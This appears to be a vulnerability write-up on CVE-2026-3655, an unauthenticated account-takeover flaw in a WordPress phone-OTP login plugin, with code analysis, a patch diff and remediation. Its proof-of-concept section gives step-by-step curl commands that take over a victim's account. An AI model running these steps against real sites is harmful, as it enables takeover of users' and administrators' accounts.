CVE-2026-3655: Unauthenticated Auth Bypass in OTP Login Plugin (CVSS 9.8)
Table of Contents
CVE-2026-3655 is a CVSS 9.8 Critical unauthenticated authentication bypass in the OTP Login With Phone Number, OTP Verification WordPress plugin. An attacker with no credentials can take over any registered WordPress account — including administrator accounts — by verifying their own Firebase OTP and supplying the victim’s phone number in the same request.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | OTP Login With Phone Number, OTP Verification |
| Plugin Slug | login-with-phone-number |
| CVE ID | CVE-2026-3655 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Authentication Bypass (Improper Authentication) |
| Affected Versions | 1.8.50 – 1.8.60 |
| Patched Version | 1.8.61 |
| Published | May 28, 2026 |
| Researcher | lucky_buddy |
| Wordfence Advisory | Link |
Description
The OTP Login With Phone Number, OTP Verification plugin allows WordPress users to sign in using a phone number and a one-time OTP. Versions 1.8.50 through 1.8.60 introduced Firebase as an OTP provider. The Firebase verification flow in the lwp_ajax_register AJAX handler does not bind the Firebase session to the phone number supplied in the request. The idehweb_lwp_activate_through_firebase() function confirms that a Firebase OTP session is legitimate, but the phoneNumber returned by Firebase is never compared against the victim’s stored phone number. An unauthenticated attacker can verify their own Firebase session and supply the victim’s phone number in the same request to authenticate as that victim.
Technical Analysis
Plugin Architecture
The plugin registers its AJAX handler for both authenticated and unauthenticated users in login-with-phonenumber.php:
// login-with-phonenumber.php:69,77
add_action('wp_ajax_lwp_ajax_register', array($this, 'lwp_ajax_register'));
add_action('wp_ajax_nopriv_lwp_ajax_register', array($this, 'lwp_ajax_register'));
The nopriv registration means any visitor — without any WordPress session — can call admin-ajax.php?action=lwp_ajax_register.
How the Nonce is Obtained
The handler at inc/ajax-handlers.php:552 requires a nonce:
if (!wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['nonce'])), 'lwp_login')) {
wp_die('Busted!');
}
This looks like a security check, but it is not authentication. The nonce value for lwp_login is embedded in every page that renders the plugin’s login form via wp_localize_script:
// inc/frontend-functions.php:160-161
$localize['nonce'] = wp_create_nonce('lwp_login');
wp_localize_script('idehweb-lwp', 'idehweb_lwp', $localize);
Any visitor can load the login page, read idehweb_lwp.nonce from the page’s JavaScript, and use it in the request. The nonce is a CSRF token — it proves the request originated from a browser that loaded the page, not that the requester is a legitimate user.
The Firebase Authentication Flaw
When method=firebase is supplied, the handler calls idehweb_lwp_activate_through_firebase() at line 649:
// inc/ajax-handlers.php:649
$response = $this->idehweb_lwp_activate_through_firebase($verificationId, $secod);
This function posts the attacker-supplied verificationId (Firebase sessionInfo) and secod (the OTP code) to the Firebase API:
// inc/ajax-handlers.php:1167-1176
function idehweb_lwp_activate_through_firebase($sessionInfo, $code)
{
$response = wp_safe_remote_post(
"https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyPhoneNumber?key=" . $options['idehweb_firebase_api'],
[
'body' => wp_json_encode([
'code' => $code,
'sessionInfo' => $sessionInfo
])
]
);
$body = wp_remote_retrieve_body($response);
return json_decode($body);
}
Firebase returns a JSON object that includes idToken and phoneNumber. The phoneNumber field is the number associated with the attacker’s Firebase OTP session — their own number.
Root Cause: Missing Phone Number Binding
After Firebase confirms the OTP is valid, the plugin looks up the target user using the attacker-supplied $_GET['phone_number']:
// inc/ajax-handlers.php:603,661-665 (vulnerable version 1.8.60)
$username_exists = $this->phone_number_exist($phone_number); // <-- attacker-controlled
// ... Firebase verification (idehweb_lwp_activate_through_firebase) ...
// $response->phoneNumber is the ATTACKER'S phone, never checked!
$user = get_user_by('ID', $username_exists); // <-- victim's account
wp_set_current_user($user->ID);
wp_set_auth_cookie($user->ID, true); // <-- logged in as victim
The code never compares $response->phoneNumber (the phone number verified with Firebase, belonging to the attacker) against $phone_number (the victim’s phone number passed in the request). Any successful Firebase OTP — for any phone number — unlocks access to any WordPress account that has a phone number stored in user meta.
An additional detail: when Firebase is configured, the plugin also exposes the Firebase API key in the page source via wp_localize_script at inc/frontend-functions.php:156:
$localize['firebase_api'] = $options['idehweb_firebase_api'];
This means the attacker does not need their own Firebase project. They can use the site’s own Firebase API key to complete the OTP flow with their phone number.
Proof of Concept
Disclaimer: This PoC is provided for educational and security research purposes only. Do not use it against systems you do not own or have explicit written permission to test.
Prerequisites:
- Target site running OTP Login With Phone Number, OTP Verification version 1.8.50 – 1.8.60
- Firebase OTP authentication enabled in the plugin settings
- The victim account has a phone number stored in user meta (set during phone login registration)
Step 1 — Extract the nonce and Firebase API key from the login page.
Load any page that renders the plugin’s login form. In the page source, look for the idehweb_lwp JavaScript object:
curl -s https://TARGET_SITE/ | grep -o '"nonce":"[^"]*"'
# Output: "nonce":"ab12cd34ef"
curl -s https://TARGET_SITE/ | grep -o '"firebase_api":"[^"]*"'
# Output: "firebase_api":"AIzaSy..."
Step 2 — Obtain a Firebase sessionInfo and OTP for your own phone number.
Use the Firebase REST API (v1 Identity Toolkit) to send an OTP to your own number. This step requires completing reCAPTCHA in a browser, so it is typically done through the Firebase JavaScript SDK in a controlled browser session. After the OTP is sent to your phone, you receive:
sessionInfo(a long base64 token, this is theverificationId)- The 6-digit OTP code on your own phone (
secod)
Step 3 — Send the exploit request with the victim’s phone number.
Use your own Firebase sessionInfo and OTP, but supply the victim’s phone number:
# NONCE, VERIFICATION_ID, OTP_CODE extracted from Steps 1 and 2
# VICTIM_PHONE: the phone number the victim registered with (digits only, no leading zeros)
curl -s "https://TARGET_SITE/wp-admin/admin-ajax.php" \
--get \
--data-urlencode "action=lwp_ajax_register" \
--data-urlencode "method=firebase" \
--data-urlencode "phone_number=VICTIM_PHONE" \
--data-urlencode "verificationId=ATTACKER_VERIFICATION_ID" \
--data-urlencode "secod=ATTACKER_OTP_CODE" \
--data-urlencode "nonce=NONCE" \
-c cookies.txt
Step 4 — Verify the takeover.
A successful response returns "loggedin":true and a WordPress session cookie is saved in cookies.txt:
{
"success": true,
"loggedin": true,
"message": "loading..."
}
Use the cookie to access the victim’s account:
curl -s "https://TARGET_SITE/wp-admin/" -b cookies.txt | grep "Dashboard\|Howdy"
If the output shows the WordPress Dashboard, the account takeover is complete.
Patch Analysis
Version 1.8.61 adds a phone number binding check immediately after Firebase confirms the OTP. The fix appears in both Firebase code paths in inc/ajax-handlers.php:
} else {
+ $firebase_phone = isset($response->phoneNumber) ? ltrim($response->phoneNumber, '+') : '';
+ $requested_phone = $phone_number;
+
+ if (empty($firebase_phone) || (
+ $firebase_phone !== $requested_phone &&
+ !str_ends_with($firebase_phone, $requested_phone)
+ )) {
+ wp_send_json([
+ 'success' => false,
+ 'message' => __('Phone number mismatch. Verification failed.', 'login-with-phone-number')
+ ]);
+ }
+
$user = get_user_by('ID', $username_exists);
if (!is_wp_error($user)) {
wp_set_current_user($user->ID);
wp_set_auth_cookie($user->ID, true);
The fix extracts phoneNumber from the Firebase response (stripping the + country-code prefix) and compares it to the $phone_number supplied in the request. The str_ends_with check handles format differences where the site stores numbers without a country code but Firebase returns the full international format (e.g., 14155552671 ends with 4155552671). If the numbers do not match, the request is rejected before any session is set.
Timeline
| Date | Event |
|---|---|
| May 28, 2026 | Vulnerability publicly disclosed by Wordfence |
| May 29, 2026 | Version 1.8.61 released with the fix |
| June 7, 2026 | This blog post published |
Remediation
Update the OTP Login With Phone Number, OTP Verification plugin to version 1.8.61 or later. Go to WordPress Admin → Plugins → Updates and apply the update. No configuration changes are needed beyond the update.